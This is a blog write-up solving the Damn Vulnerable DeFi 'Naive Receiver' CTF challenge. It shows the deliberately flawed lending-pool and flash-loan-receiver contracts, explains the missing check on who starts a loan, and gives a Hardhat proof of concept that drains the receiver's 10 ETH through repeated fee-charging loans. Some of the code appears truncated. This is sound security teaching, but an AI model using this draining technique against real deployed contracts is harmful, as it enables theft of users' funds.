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Erhan Tezcan
Erhan Tezcan

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Damn Vulnerable Defi: 2. Naive Receiver

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.

There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)

Objective of CTF:

  • Steal all ETH from the receiver contract.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (
contract NaiveReceiverLenderPool is ReentrancyGuard {
  using Address for address;

  uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

  function fixedFee() external pure returns (uint256) {
    return FIXED_FEE;

  function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
    uint256 balanceBefore = address(this).balance;
    require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

    require(borrower.isContract(), "Borrower must be a deployed contract");
    // Transfer ETH and handle control to receiver
    borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);

    require(address(this).balance >= balanceBefore + FIXED_FEE, "Flash loan hasn't been paid back");

  // Allow deposits of ETH
  receive() external payable {}

 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (
contract FlashLoanReceiver {
  using Address for address payable;

  address payable private pool;

  constructor(address payable poolAddress) {
    pool = poolAddress;

  // Function called by the pool during flash loan
  function receiveEther(uint256 fee) public payable {
    require(msg.sender == pool, "Sender must be pool");

    uint256 amountToBeRepaid = msg.value + fee;
    require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");


    // Return funds to pool

  // Internal function where the funds received are used
  function _executeActionDuringFlashLoan() internal {}

  // Allow deposits of ETH
  receive() external payable {}
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The Attack

The important thing to notice here is that flashLoan function does not care about the transaction origin, it simply takes a borrower address and a borrow amount.

As such, the receiver contract at the borrower address, if not aware of this fact, may naively implement a vulnerable receiveEther function for the flash loan. That is exactly what happens here.

The receiver has implemented a receiveEther function that only cares about msg.sender being the pool. We can easily get past that by asking for a flash loan for this receiver contract.

Since taking a loan results in a fee to be paid, and receiveEther implements the logic to pay for that fee, we can drain the funds by making it pay for the loan fee again and again. Since the fee is 1 ETH and the receiver has 10 ETH, we can ask for a loan 10 times for the receiver and the funds will be drained!

Proof of Concept

Here is a Hardhat test to demonstrate the attack.

describe('DamnVulnDefi 2: Naive Receiver', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  let pool: NaiveReceiverLenderPool;
  let receiver: FlashLoanReceiver;

  const ETHER_IN_POOL = ethers.utils.parseEther('1000'); // pool has 1000 ETH
  const ETHER_IN_RECEIVER = ethers.utils.parseEther('10'); // receiver has 10 ETH
  const ETHER_LOAN_FEE = ethers.utils.parseEther('1'); // flash loaning costs 1 ETH

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    pool = await ethers.getContractFactory('NaiveReceiverLenderPool', owner).then(f => f.deploy());
    receiver = await ethers.getContractFactory('FlashLoanReceiver', owner).then(f => f.deploy(pool.address));

    // send ETH to pool
    await owner.sendTransaction({to: pool.address, value: ETHER_IN_POOL});
    expect(await ethers.provider.getBalance(pool.address));
    expect(await pool.fixedFee());

    // send ETH to receiver
    await owner.sendTransaction({to: receiver.address, value: ETHER_IN_RECEIVER});
    expect(await ethers.provider.getBalance(receiver.address));

  it('should drain funds from receiver', async () => {
    // receiver has 10 ethers, and will pay 1 ether fee for each flash loan
    // we can make flash loans in their place, and drain everything
    // borrow amount does not matter, so we use 0 for that
    for (let i = 0; i < 10; i++) {
      await pool.connect(attacker).flashLoan(receiver.address, 0);

    // NOTE: you can also do this from within a contract, thus achieving the same result in a single transaction

  after(async () => {
    // all ETH should be drained from the receiver
    expect(await ethers.provider.getBalance(receiver.address));
    expect(await ethers.provider.getBalance(pool.address));
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